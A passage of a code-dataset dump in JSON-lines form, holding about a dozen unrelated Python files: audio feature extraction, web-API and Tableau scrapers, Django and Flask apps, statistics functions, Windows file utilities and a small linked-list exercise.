outputFileName is not None:\r\n line = 'Iteration ' + str(numIter) + ' rank(A) ' + str(rankA) + \\\r\n ' ||E||_0 ' + str(cardE) + ' Stopping Criterion ' + \\\r\n str(stoppingCriterion) + '\\n'\r\n output_file.write(line)\r\n if numIter >= maxIter:\r\n print('Maximum iterations reached')\r\n converged = 1\r\n return X_k_A, X_k_E\r\n\r\n def pos(self, A):\r\n return A * (A > 0).astype(np.float32)\r\n","sub_path":"detectors/uploaded/IPI_lts.py","file_name":"IPI_lts.py","file_ext":"py","file_size_in_byte":7853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"425447085","text":"import os\r\nimport librosa\r\nimport math\r\nimport json\r\n\r\nDATASET_PATH = \"...\" # Path of folder with training audios.\r\nJSON_PATH = \".../mel_data.json\" # Location and file name to save feature extracted data.\r\n\r\nSAMPLE_RATE = 22050 # Sample rate in Hz.\r\nDURATION = 10 # Length of audio files fed. Measured in seconds.\r\nSAMPLES_PER_TRACK = SAMPLE_RATE * DURATION\r\n\r\n\r\ndef save_mfcc(dataset_path, json_path, n_mels=90, n_fft=2048, hop_length=512, num_segments=5):\r\n # num_segments let's you chop up track into different segments to create a bigger dataset.\r\n # Value is changed at the bottom of the script.\r\n\r\n # Dictionary to store data into JSON_PATH\r\n data = {\r\n \"mapping\": [], # Used to map labels (0 and 1) to category name (UAV and no UAV).\r\n \"mel\": [], # Mels are the training input, labels are the target.\r\n \"labels\": [] # Features are mapped to a label (0 or 1).\r\n }\r\n\r\n num_samples_per_segment = int(SAMPLES_PER_TRACK / num_segments)\r\n expected_num_mel_vectors_per_segment = math.ceil(num_samples_per_segment / hop_length)\r\n\r\n # Loops through all the folders in the training audio folder.\r\n for i, (dirpath, dirnames, filenames) in enumerate(os.walk(dataset_path)):\r\n\r\n # Ensures that we're not at the root level.\r\n if dirpath is not dataset_path:\r\n\r\n # Saves the semantic label for the mapping.\r\n dirpath_components = dirpath.split(\"/\") # class/background => [\"class\", \"background\"]\r\n semantic_label = dirpath_components[-1] # considering only the last value\r\n data[\"mapping\"].append(semantic_label)\r\n print(\"\\nProcessing {}\".format(semantic_label))\r\n\r\n # Processes all the audio files for a specific class.\r\n for f in filenames:\r\n\r\n # Loads audio file.\r\n file_path = os.path.join(dirpath, f)\r\n signal, sr = librosa.load(file_path, sr=SAMPLE_RATE)\r\n\r\n # Process segments, extracting mels and storing data to JSON_PATH.\r\n for s in range(num_segments):\r\n start_sample = num_samples_per_segment * s\r\n finish_sample = start_sample + num_samples_per_segment # s=0 --> num_samples_per_segment\r\n\r\n mel = librosa.feature.melspectrogram(signal[start_sample:finish_sample],\r\n sr=sr,\r\n n_fft=n_fft,\r\n n_mels=n_mels,\r\n hop_length=hop_length)\r\n db_mel = librosa.power_to_db(mel)\r\n mel = db_mel.T\r\n\r\n # Stores mels for segment, if it has the expected length.\r\n if len(mel) == expected_num_mel_vectors_per_segment:\r\n data[\"mel\"].append(mel.tolist())\r\n data[\"labels\"].append(i - 1)\r\n print(\"{}, segment:{}\".format(file_path, s + 1))\r\n\r\n with open(json_path, \"w\") as fp:\r\n json.dump(data, fp, indent=4)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n save_mfcc(DATASET_PATH, JSON_PATH, num_segments=10)\r\n # num_segments can be changed. 10 with 10 second audio equates to a segment equalling 1 second.\r\n","sub_path":"1 - Preprocessing and Features Extraction/Mel_Preprocess_and_Feature_Extract.py","file_name":"Mel_Preprocess_and_Feature_Extract.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"563306118","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n\r\nimport requests#Module pour gérer les requetes\r\nimport json#Module pour gérer les fichier.json\r\ndef correctName(nom):#Fonction pour corriger un nom d'auteur présant dans la bdd du site hep-inspire\r\n if type (nom)==(str):#On vérifie que le type de la variable d'entrée est une chaîne dde caractères\r\n nom.replace('Jr.','')#On supprime le Jr., après de multiple test, il est à l'origine de moultes erreurs\r\n try:#On essai de récupérer le nom de la personne entrée en tant que dernière partie( Prénom+' '+nom)\r\n ndf=nom.split(' ')\r\n ndf=ndf[len(ndf)-1]\r\n except :#En cas d'erreur(chaîne vide principalement)\r\n print('Nom non valide')\r\n return(nom) #On renvoie quand même le nom de base\r\n url=\"https://inspirehep.net/api/authors?sort=bestmatch&size=25&page=1&q=\"+nom.replace(' ','%20')#Url de l'api qui nous sert pour corriger le nom de l'auteur \r\n #(il est spécifié dans leur Git qu il faut remplacer les espaces par des %20)\r\n response= requests.get(url) #On fais la requete (On devrait rajouté que la reponse vaut bien 200)\r\n raw_data=response.text#raw_data correspond au code source sans les balises html\r\n jsondata=json.loads(raw_data)#On charge les information comme un json (C est ce que nous renvoi l'api, un json avec toutes les infos de la page)\r\n for i in range(5):#On ne prends que les 5 premiers résultat de la recherche, afin d'éviter que le programme ne tourne trop longtemps, même si,\r\n #étant donnée que l'on quitte la boucle si un nom nous convient en soit, ça ne change pas grand chose\r\n try:#sécurité +/- inutiles, au cas ou un cas de figure inconnue nous arrives\r\n if jsondata['hits']['hits'][i]['metadata']['name']['preferred_name'].find(ndf)!=(-1) and jsondata['hits']['hits'][i]['metadata']['name']['preferred_name'][0]==nom.replace(' ','')[0]:\r\n #On prend comme critère le nom de famille et la première lettre du prénom\r\n return(jsondata['hits']['hits'][i]['metadata']['name']['preferred_name'])#Le cas échéant, on renvoie la version corrigée (quelques erreurs subsiste en cas d'homonyme avec des prénom commencant pareil)\r\n except IndexError:\r\n print('Nom non valide')\r\n return(nom)\r\n return(nom)#Si on ne trouve pas de correction intéressante, on préfére ne rien changer\r\n if type(nom)==(list):#Si le nom entré est une liste, on applique la fonction à chacun de ses termes\r\n for i in range(len(nom)):\r\n nom[i]=correctName(nom[i])\r\n return nom\r\n\r\n","sub_path":"CorrectTheAuthName.py","file_name":"CorrectTheAuthName.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"199352173","text":"import json\nimport requests\n\n# Add your Microsoft Account Key to a file called bing.key\n\ndef read_bing_key():\n\tbing_api_key = None\n\ttry:\n\t\twith open('bing.key','r') as f:\n\t\t\tbing_api_key = f.readline().strip()\n\t\t\t\n\texcept:\n\t\traise IOError('bing.key file not found')\n\t\t\n\t\t\n\tif not bing_api_key:\n\t\traise KeyError('Bing key not found')\t\n\t\n\treturn bing_api_key\n\n\ndef run_query(search_terms):\n\tbing_key = read_bing_key()\n\tsearch_url = 'https://api.cognitive.microsoft.com/bing/v7.0/search'\n\theaders = {\"Ocp-Apim-Subscription-Key\" : bing_key}\n\tparams = {\"q\": search_terms, \"textDecorations\":True, \"textFormat\":\"HTML\"}\n\tresponse = requests.get(search_url, headers=headers, params=params)\n\tresponse.raise_for_status()\n\tsearch_results = response.json()\n\tresults = []\n\tfor result in search_results[\"webPages\"][\"value\"]:\n\t\tresults.append({\n\t\t\t'title': result['name'],\n\t\t\t'link': result['url'],\n\t\t\t'summary': result['snippet']})\n\t\n\treturn results\n\ndef main():\n\tquery = input()\n\tprint(f'Search query, {query}')\n\t\n\tquery_res = run_query(query)\n\tprint(f'Search query result, {json.dumps(query_res, indent=4)}')\n\nif __name__ == '__main__':\n\tmain()","sub_path":"TangoWithDjango/rango/bing_search.py","file_name":"bing_search.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"462184073","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/jennyq/.pyenv/versions/venv_t12/lib/python3.7/site-packages/tendenci/apps/email_blocks/migrations/0002_auto_20160926_1543.py\n# Compiled at: 2020-03-30 17:48:04\n# Size of source mod 2**32: 362 bytes\nfrom django.db import migrations, models\n\nclass Migration(migrations.Migration):\n dependencies = [\n ('email_blocks', '0001_initial')]\n operations = [\n migrations.AlterField(model_name='emailblock',\n name='email',\n field=models.EmailField(max_length=254))]","sub_path":"pycfiles/tendenci-12.0.6-py3-none-any/0002_auto_20160926_1543.cpython-37.py","file_name":"0002_auto_20160926_1543.cpython-37.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"206909698","text":"# SI364 DS8\n# An application about recording favorite songs & info\n\nimport os\nfrom flask import Flask, render_template, session, redirect, url_for, flash\nfrom flask_script import Manager, Shell\nfrom flask_wtf import FlaskForm\nfrom wtforms import StringField, SubmitField\nfrom wtforms.validators import Required\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_migrate import Migrate, MigrateCommand # needs: pip/pip3 install flask-migrate\n\n# Configure base directory of app\nbasedir = os.path.abspath(os.path.dirname(__file__))\n\n# Application configurations\napp = Flask(__name__)\napp.debug = True\napp.config['SECRET_KEY'] = 'hardtoguessstringfromsi364thisisnotsupersecurebutitsok'\n\n## Task 1: Create a database in postgresql in the code line below, and fill in your app's database URI.\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"postgresql://postgres:abc123@localhost/w8_songs_db\"\napp.config['SQLALCHEMY_COMMIT_ON_TEARDOWN'] = True\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n# Set up Flask debug stuff\nmanager = Manager(app)\ndb = SQLAlchemy(app) # For database use\nmigrate = Migrate(app, db) # This is used for database use/updating. Bear with me, we will cover this in greater detail in lecture.\nmanager.add_command('db', MigrateCommand) # Add migrate command to manager\n\n#########\n######### Everything above this line is important/useful setup, not problem-solving.\n#########\n\n##### Set up Models #####\nclass Artist(db.Model):\n __tablename__ = \"artists\"\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(64))\n songs = db.relationship('Song',backref='Artist')\n\n def __repr__(self):\n return \"{} (ID: {})\".format(self.name,self.id)\n\nclass Song(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(64),unique=True) # Only unique title songs\n artist_id = db.Column(db.Integer, db.ForeignKey(\"artists.id\")) # changed\n genre = db.Column(db.String(64))\n\n\n##### Set up Forms #####\nclass SongForm(FlaskForm):\n song = StringField(\"What is the title of your favorite song?\", validators=[Required()])\n artist = StringField(\"What is the name of the artist who performs it?\",validators=[Required()])\n genre = StringField(\"What is the genre of that song?\", validators\n =[Required()])\n submit = SubmitField('Submit')\n\n##### Helper functions\n### For database additions / get_or_create functions\n\ndef get_or_create_artist(artist_name):\n artistquery = Artist.query.filter_by(name=artist_name).first()\n if artistquery:\n \treturn artistquery\n else:\n \tartist = Artist(name = artist_name)\n \tdb.session.add(artist)\n \tdb.session.commit()\n \treturn artist\n\ndef get_or_create_song(song_title, song_artist, song_genre):\n\tsongquery = Song.query.filter_by(title=song_title).first()\n\tif songquery:\n\t\tflash('You\\'ve already saved a song with that title!')\n\t\treturn (songquery,True)\n\telse:\n\t\tartist_id = get_or_create_artist(song_artist).id\n\t\tsong = Song(title=song_title,artist_id=artist_id,genre=song_genre)\n\t\tdb.session.add(song)\n\t\tdb.session.commit()\n\t\treturn (song,False)\n\n # Query the song table using song_title\n # If song exists, return the song object\n # Else add a new song to the song table.\n # NOTE : You will need artist id because that is the foreign key in the song table.\n # So if you are adding a new song, you will have to make a call to get_or_create_artist function using song_artist\n\n##### Set up Controllers (view functions) #####\n\n## Error handling routes\n@app.errorhandler(404)\ndef page_not_found(e):\n return render_template('404.html'), 404\n\n@app.errorhandler(500)\ndef internal_server_error(e):\n return render_template('500.html'), 500\n\n## Main route\n# Task 1.3 : Get the form data and add it to the database.\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n songs = Song.query.all()\n num_songs = len(songs)\n form = SongForm()\n if form.validate_on_submit():\n title = form.song.data\n artist = form.artist.data\n genre = form.genre.data\n ind = get_or_create_song(song_title = title, song_artist = artist, song_genre = genre)\n if ind[1] == True:\n \treturn render_template('index.html', form=form,num_songs=num_songs)\n else:\n \treturn redirect(url_for('see_all'))\n else:\n \tflash('ey')\n return render_template('index.html', form=form,num_songs=num_songs)\n\n\n# Task 1.4: Update the view function.\n## HINTS provided below but I would recommend solving the task without looking at the hints\n############################################\n############################################\n############################################ HINTS ############################################\n## 1. Query all songs and assigns the result to variable 'songs'\n## 2. Collects the title, artist and genre for each song in a list variable 'all_songs'. You can use a for loop and collect each property in a tuple.\n## 3. Use all_songs as a parameter in render_template\n############################################\n############################################\n@app.route('/all_songs')\ndef see_all():\n all_songs = [(song.title,Artist.query.filter_by(id=song.artist_id).first().name,song.genre) for song in Song.query.all()]\n return render_template('all_songs.html',all_songs=all_songs)\n\n@app.route('/all_artists')\ndef see_all_artists():\n artist_names = [(artist.name,len(artist.songs)) for artist in Artist.query.all()]\n return render_template('all_artists.html',artist_names=artist_names)\n\nif __name__ == '__main__':\n db.create_all()\n manager.run() # NEW: run with this: python main_app.py runserver\n # Also provides more tools for debugging\n","sub_path":"Discussion7/challenges.py","file_name":"challenges.py","file_ext":"py","file_size_in_byte":5666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"362513079","text":"\"\"\"\n Insert Node at a specific position in a linked list\n head input could be None as well for empty list\n Node is defined as\n \n class Node(object):\n \n def __init__(self, data=None, next_node=None):\n self.data = data\n self.next = next_node\n\n return back the head of the linked list in the below method. \n\"\"\"\n#This is a \"method-only\" submission.\n#You only need to complete this method.\ndef InsertNth(head, data, position):\n new_node = Node(data=data)\n # if position = 0, the new node is the new head\n if position == 0:\n new_node.next = head\n return new_node\n\n # initialize variables to track index of list and current node\n index = 1 #index of next node\n current = head\n\n while current.next:\n if index == position:\n new_node.next = current.next\n current.next = new_node\n return head\n current = current.next # move current forward\n index += 1 # increment index\n\n # if we get to the last item and haven't inserted/returned yet, insert at\n # the end\n current.next = new_node\n return head\n\n\n\n","sub_path":"datastructures/ll-insert-node.py","file_name":"ll-insert-node.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"285684632","text":"import time\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.support.ui import Select\r\nfrom bs4 import BeautifulSoup \r\nimport matplotlib as mlp\r\nimport numpy as np\r\nfrom datetime import datetime\r\n\r\nclass taxaAcerto():\r\n \r\n def __init__():\r\n return \"/Inicialize Bot.\"\r\n \r\n def nomesInstagram():\r\n pagina = webdriver.Chrome(executable_path=r'C:\\Users\\leand\\Documents\\Leandro\\PythonOuData\\Pythonchromedriver.exe') \r\n while True:\r\n now = datetime.now()\r\n pagina.get(\"https://www.instagram.com/seguros_martins/\")\r\n time.sleep(2)\r\n seguidores = pagina.find_elements_by_css_selector(\".g47SY \")\r\n dados = (seguidores[1])\r\n ano = now.year\r\n mes= now.month\r\n dia= now.day\r\n hora = now.hour\r\n minutos = now.minute\r\n segundos = now.second\r\n horario =(hora+\":\"+minutos+\":\"+segundos)\r\n \r\n print(dados.text + \"-\"+ dia )\r\n \r\n time.sleep(60)\r\n pagina.refresh()\r\n\r\n def gerarGrafico():\r\n dadosSeguidores = taxaAcerto.nomesInstagram()\r\n\r\n\r\ndados = taxaAcerto.nomesInstagram()\r\nprint(dados)","sub_path":"2018-2019/Scripts/Python/bots_Instagram/botnomes.py","file_name":"botnomes.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"633272072","text":" # calculation matrix_prop\nimport numpy as np\nimport scipy.special as sp\nimport sys\n\n####################\n# Log Likelihoods: #\n####################\n# - not with Theano\n\n\ndef logp_norm_np(value,mu,sigma):\n\t\"\"\"\n\tlog likelihood for univariate gaussian distribution\n\n\tMath:\n\t-----\n\tpdf:\n\t$f(\\text{value}) = \\frac{1}{\\sqrt{2 \\pi} \\sigma^2} e^{-\\frac{1}{2 \\sigma^2} \n\t\t\t(\\text{value}-\\mu)^2}$\n\n\tInputs:\n\t-------\n\tvalue = single value (1 x 1) or vector (n x 1)\n\tmu = mean value of normal distribution\n\tsigma = the standard deviation of the normal distribution\n\n\tOutput:\n\t-------\n\tlog-likelihood for the specific point(s)\n\t\"\"\"\n\treturn -1/2 * np.log(2*np.pi)-np.log(sigma)-1/2*sigma**(-2) *(value-mu)**2\n\ndef logp_unif_np(value,b_low,b_high):\n\t\"\"\"\n\tlog likelihood for univariate uniform distribution\n\n\tMath:\n\t-----\n\tpdf: \n\t$f(\\text{value}) = 1/(b-a)$\n\twhere $\\text{value} \\in [b,a]$\n\n\tInputs:\n\t-------\n\tvalue = single value (1 x 1) or vector (n x 1)\n\tb_low = lower bound of uniform distribution\n\tb_high = upper bound of uniform distribution\n\n\tOutput:\n\t-------\n\tlog-likelihood for the specific point(s)\n\t\"\"\"\n\treturn -np.log(b_high-b_low)\n\ndef logp_emg_np(value,mu,sigma,lamb):\n\t\"\"\"\n\tlog likelihood for Exponentially Modified Gaussian distribution\n\t\n\tMath:\n\t-----\n\t$f(\\text{value}) = \\frac{\\lambda}{2} e^{\\frac{\\lambda}{2} (2\\mu \n\t\t\t\t + \\lambda \\sigma^2 -2 \\cdot \\text{value})} \n\t\t\t\t erfc(\\frac{\\mu + \\lambda \\sigma^2 - \\text{value}}\n\t\t\t\t {\\sqrt{2}\\sigma})$\n\n\twhere $\\text{erfc}(x) = 1- \\frac{2}{\\sqrt{\\pi}} \\int_x^\\infty e^{-t^2} dt$\n\n\tInputs:\n\t-------\n\tvalue = single value (1 x 1) or vector (n x 1)\n\tmu = similar to the mean value of normal distribution (see note)\n\tsigma = similar to the the standard deviation of the normal \n\t\t\t\tdistribution (see note)\n\tlamb = similar to the parameter of the inverse scale for exponential \n\t\t\t\t(see note)\n\n\tOutput:\n\t-------\n\tlog-likelihood for the specific point(s)\n\tNote: \n\t-----\n\tThis is nice representation of the log-like for a distribution that \n\tcan also be thought of as a sum of independent gaussian and exponential\n\t\"\"\"\n\tinner_erfc = (mu+lamb*(sigma**2)-value)/(np.sqrt(2)*sigma)\n\treturn np.log(lamb/2)+(lamb/2)*(2*mu+lamb*(sigma**2)-2*value) +\\\n\t\t\t\tnp.log(sp.erfc(inner_erfc))\n\n\ndef mvNormal_logp_np(value,mu,cov):\n \"\"\"\n This logp function is for multivariate normal distribution\n\n Inputs:\n -------\n value = observed value (1d array)\n mu = mu values assumed for each observation (num_obs x dims)\n cov = cov values assumed for each observations (num_obs x dim x dim)\n\n Output:\n -------\n output = log likelihood \n \"\"\"\n \n dim = mu.shape[-1]\n k = cov.shape[1] \n delta = value - mu \n tau = np.linalg.pinv(cov)\n\n # first function\n long_sum1= np.log(1./np.linalg.det(tau)),\n \n\n # second function\n long_sum2 = delta.reshape((1,-1)).dot(tau).dot(delta)\n \n \n output = k * np.log(2 * np.pi)\n output += long_sum1\n output += long_sum2\n\n output *= -1/2.\n\n return output\n","sub_path":"code/functions/loglikefunctions_np.py","file_name":"loglikefunctions_np.py","file_ext":"py","file_size_in_byte":3016,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"21350641","text":"''' This script creates a symbolic link (junction in Windows '''\nimport os\nimport fnmatch\nimport shutil\nimport stat\nimport sys\n\ncurr_path = os.getcwd()\ntarget_link = curr_path + '\\\\SW'\n\nif len(sys.argv) > 1:\n link_path = curr_path + '\\\\' + sys.argv[1]\n\n #Remove symbolic link if existing\n if os.path.isdir(target_link):\n cmd = 'rmdir ' + target_link\n os.system(cmd)\n print('Removing existing symbolic link')\n #Create the command \n cmd = 'mklink /J ' + target_link + ' ' + link_path\n\n print('Setting symbolic link ' + target_link + ' from ' + link_path)\n # Now set the hard link\n os.system(cmd)\n\n print('Done')\nelse:\n print('No target folder specified..\\n')\n #print os.path.readlink(target_link) \n os.system('dir')\n","sub_path":"SetSW.py","file_name":"SetSW.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"140247694","text":"import win32security\nimport ntsecuritycon\n\nopts = win32security.DACL_SECURITY_INFORMATION | win32security.OWNER_SECURITY_INFORMATION\n\nsec = win32security.GetFileSecurity('C:\\\\Users\\\\carwyn\\\\Intel', opts)\n\nowner = sec.GetSecurityDescriptorOwner()\n\nname, domain, typ = win32security.LookupAccountSid(None, owner)\n\nprint('Owner: ' + name)\n\npacl = sec.GetSecurityDescriptorDacl()\n\n# best:\n# http://stackoverflow.com/questions/26465546/how-to-authorize-deny-write-access-to-a-directory-on-windows-using-python\n\n# See: https://msdn.microsoft.com/en-us/library/aa394063(v=vs.85).aspx\n\n# Type: Allow(0)/Deny(1)/Audit(2)\n#ACCESS_ALLOWED_ACE_TYPE\n#ACCESS_DENIED_ACE_TYPE\n#SYSTEM_AUDIT_ACE_TYPE\n\n# Flags: Bit flags that specify inheritance of the ACE.\n#CONTAINER_INHERIT_ACE\n#INHERITED_ACE\n#INHERIT_ONLY_ACE\n#NO_PROPAGATE_INHERIT_ACE\n#OBJECT_INHERIT_ACE\n\n# Mask: Bit flags that indicate rights granted or denied to the trustee.\n\nfor i in range(pacl.GetAceCount()):\n tup, mask, sid = pacl.GetAce(i)\n aceType, aceFlags = tup\n print('Type: ', aceType, 'Flags: ', aceFlags, 'Mask: ', mask)\n name, domain, typ = win32security.LookupAccountSid(None,sid)\n\n print(name)\n\n#for j in range(sid.GetSubAuthorityCount()):\n# print(sid.GetSubAuthority(j))\n\n","sub_path":"winacls.py","file_name":"winacls.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"142543748","text":"import pandas as pd\nimport us\n\nfrom can_tools.scrapers.base import CMU\nfrom can_tools.scrapers.official.base import TableauDashboard\n\n\nclass VirginiaVaccine(TableauDashboard):\n state_fips = int(us.states.lookup(\"Virginia\").fips)\n source = \"https://www.vdh.virginia.gov/coronavirus/covid-19-vaccine-summary/\"\n source_name = \"Virginia Department of Health\"\n baseurl = \"https://vdhpublicdata.vdh.virginia.gov\"\n provider = \"state\"\n has_location = True\n location_type = \"\"\n\n def fetch(self):\n self.filterFunctionName = None\n self.viewPath = (\n \"VirginiaCOVID-19Dashboard-VaccineSummary/VirginiaCOVID-19VaccineSummary\"\n )\n\n return self.get_tableau_view()\n\n def normalize(self, data) -> pd.DataFrame:\n rows = [\n (\n data[\"Vaccine One Dose\"][\"SUM(At Least One Dose)-alias\"].iloc[0],\n data[\"Vaccine Fully Vacinated\"][\"SUM(Fully Vaccinated)-alias\"].iloc[0],\n data[\"Vaccine Total Doses\"][\"SUM(Vaccine Count)-alias\"].iloc[0],\n self.state_fips,\n \"Virginia\",\n )\n ]\n state_df = pd.DataFrame.from_records(\n rows,\n columns=[\n \"totalHadFirstDose\",\n \"totalHadSecondDose\",\n \"totalDoses\",\n \"location\",\n \"location_name\",\n ],\n )\n county_df = data[\"Doses Administered by Administration FIPS\"].rename(\n columns={\n \"SUM(Fully Vaccinated)-alias\": \"totalHadSecondDose\",\n \"SUM(At Least One Dose)-alias\": \"totalHadFirstDose\",\n \"SUM(Vaccine Count)-alias\": \"totalDoses\",\n \"Recipient FIPS - Manassas Fix-alias\": \"location\",\n \"ATTR(Locality Name)-alias\": \"location_name\",\n }\n )\n\n df = pd.concat([state_df, county_df], axis=0)\n\n crename = {\n \"totalHadFirstDose\": CMU(\n category=\"total_vaccine_initiated\",\n measurement=\"cumulative\",\n unit=\"people\",\n ),\n \"totalHadSecondDose\": CMU(\n category=\"total_vaccine_completed\",\n measurement=\"cumulative\",\n unit=\"people\",\n ),\n \"totalDoses\": CMU(\n category=\"total_vaccine_doses_administered\",\n measurement=\"cumulative\",\n unit=\"doses\",\n ),\n }\n df = df.melt(id_vars=[\"location\"], value_vars=crename.keys()).dropna()\n df = self.extract_CMU(df, crename)\n\n df.loc[:, \"value\"] = pd.to_numeric(df[\"value\"])\n df.loc[:, \"location\"] = df[\"location\"].astype(int)\n df[\"location_type\"] = \"county\"\n df.loc[df[\"location\"] == 51, \"location_type\"] = \"state\"\n df[\"dt\"] = self._retrieve_dt()\n df[\"vintage\"] = self._retrieve_vintage()\n return df.drop([\"variable\"], axis=\"columns\")\n","sub_path":"can_tools/scrapers/official/VA/va_vaccine.py","file_name":"va_vaccine.py","file_ext":"py","file_size_in_byte":2957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"350641532","text":"from urllib.parse import urlparse\nfrom django.contrib import messages\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.shortcuts import render\nfrom django.http import HttpResponse,HttpResponseRedirect, Http404\nfrom django.shortcuts import render , get_object_or_404, redirect\nfrom django.utils import timezone\nfrom django.contrib.auth.decorators import login_required\n\nfrom django.db.models import Q\nfrom .forms import PostForm\nfrom .models import Post\n# Create your views here.\ndef post_create(request):\n\tif not request.user.is_staff or not request.user.is_superuser:\n\t\traise Http404\n\tform = PostForm(request.POST or None,request.FILES or None)\n\tif form.is_valid():\n\t\tinstance = form.save(commit=False)\n\t\tinstance.user = request.user\n\t\t#print form.cleaned_data.get(\"title\")\n\t\tinstance.save()\n\t\tmessages.success(request,\"successfully created\")\n\t\treturn HttpResponseRedirect(instance.get_absolute_url())\n\tcontext={\n\t\t\"form\": form,\n\t}\n\n\treturn render(request,\"post_form.html\",context)\n\ndef post_detail(request,id=None): #retrieve\n\tinstance = get_object_or_404(Post, id=id)\n\tif instance.publish.date() > timezone.now().date() or instance.draft :\n\t\tif not request.user.is_staff or not request.user.is_superuser:\n\t\t\traise Http404\n\tshare_string = urlparse(instance.content)\n\tcontext= {\n\t\t\"title\" : instance.title,\n\t\t\"instance\": instance,\n\t\t\"share_string\" : share_string,\n\t}\n\treturn render(request,\"post_detail.html\",context)\n@login_required(login_url='login/')\ndef post_list(request):\n\ttoday = timezone.now().date()\n\tqueryset_list = Post.objects.all()\n\tquery = request.GET.get(\"q\")\n\tif query:\n\t\tqueryset_list = queryset_list.filter(\n\t\t\tQ(title__icontains=query)|\n\t\t\tQ(content__icontains=query)|\n\t\t\tQ(user__first_name__icontains=query)|\n\t\t\tQ(user__last_name__icontains=query)\n\t\t\t).distinct()\n\tpaginator = Paginator(queryset_list, 5) # Show 25 contacts per page.\n\tpage_request_var = \"page\"\n\tpage = request.GET.get(page_request_var)\n\ttry:\n\t\tqueryset=paginator.page(page)\n\texcept PageNotAnInteger:\n\t\tqueryset=paginator.page(1)\n\texcept EmptyPage:\n\t\tqueryset=queryset=paginator.page(paginator.num_pages)\n\n\n\n\tcontext= {\n\t\t\"object_list\" : queryset,\n\t\t\"title\" : \"Posts\",\n\t\t\"page_request_var\" : page_request_var,\n\t\t\"today\" : today,\n\t}\n\treturn render(request,\"post_list.html\",context)\n\n\n\n\ndef post_update(request,id=None,):\n\tif not request.user.is_staff or not request.user.is_superuser:\n\t\traise Http404\n\tinstance = get_object_or_404(Post, id=id)\n\tform = PostForm(request.POST or None,request.FILES or None, instance=instance)\n\tif form.is_valid():\n\t\tinstance = form.save(commit=False)\n\t\t#print form.cleaned_data.get(\"title\")\n\t\tinstance.save()\n\t\tmessages.success(request,\"Item updated\",extra_tags='html_safe')\n\t\treturn HttpResponseRedirect(instance.get_absolute_url())\n\n\n\n\tcontext={\n\t\t\"title\":instance.title,\n\t\t\"instance\":instance,\n\t\t\"form\": form,\n\t}\n\treturn render(request,\"post_form.html\",context)\n\ndef post_delete(request,id=None):\n\tif not request.user.is_staff or not request.user.is_superuser:\n\t\traise Http404\n\tinstance = get_object_or_404(Post, id=id)\n\tinstance.delete()\n\tmessages.success(request,\"successfully deleted\")\n\treturn redirect(\"posts:list\")","sub_path":"src/posts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"414010839","text":"#!/usr/bin/python\n# Binary string to be converted\n# nu11secur1ty\n\nbinary_string = input(\"Put here your binary ASCII/UTF8\\n\")\n# split the above stirng using split() method by white space\nbinary_values = binary_string.split()\nascii_string = \"\"\n# use for loop to iterate\nfor binary_value in binary_values:\n # convert to int using int() with base 2\n an_integer = int(binary_value, 2)\n # convert to character using chr()\n ascii_character = chr(an_integer)\n # merge them all\n ascii_string += ascii_character\nprint(ascii_string)# python\n","sub_path":"Python3/binary-to-string/binstring.py","file_name":"binstring.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"105884002","text":"''' Programa que le solicite al usuario un número entero positivo, si el usuario digita un valor no permito,\r\nle debe volver a pedir el número. Una vez ingrese un valor válido deberá imprimir dicho valor '''\r\nagregar = \"si\"\r\nwhile agregar == \"si\":\r\n number = int(input(\"Ingrese un número = \"))\r\n if number > 0:\r\n print(\"El número ingresado es = \", number)\r\n break\r\n else:\r\n print(\"No se pueden ingresar número negativos, vuélvalo a intentar\")","sub_path":"ejercicio 50.py","file_name":"ejercicio 50.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"191296787","text":"#!/usr/bin/python3\n\n#-*- coding:utf-8 -*-\n\nimport sys\nimport pygame\nfrom pygame.locals import *\n\n\nSCREEN_WIDTH, SCREEN_HEIGHT = 480, 700\n\nclass Plane(pygame.sprite.Sprite):\n __images = 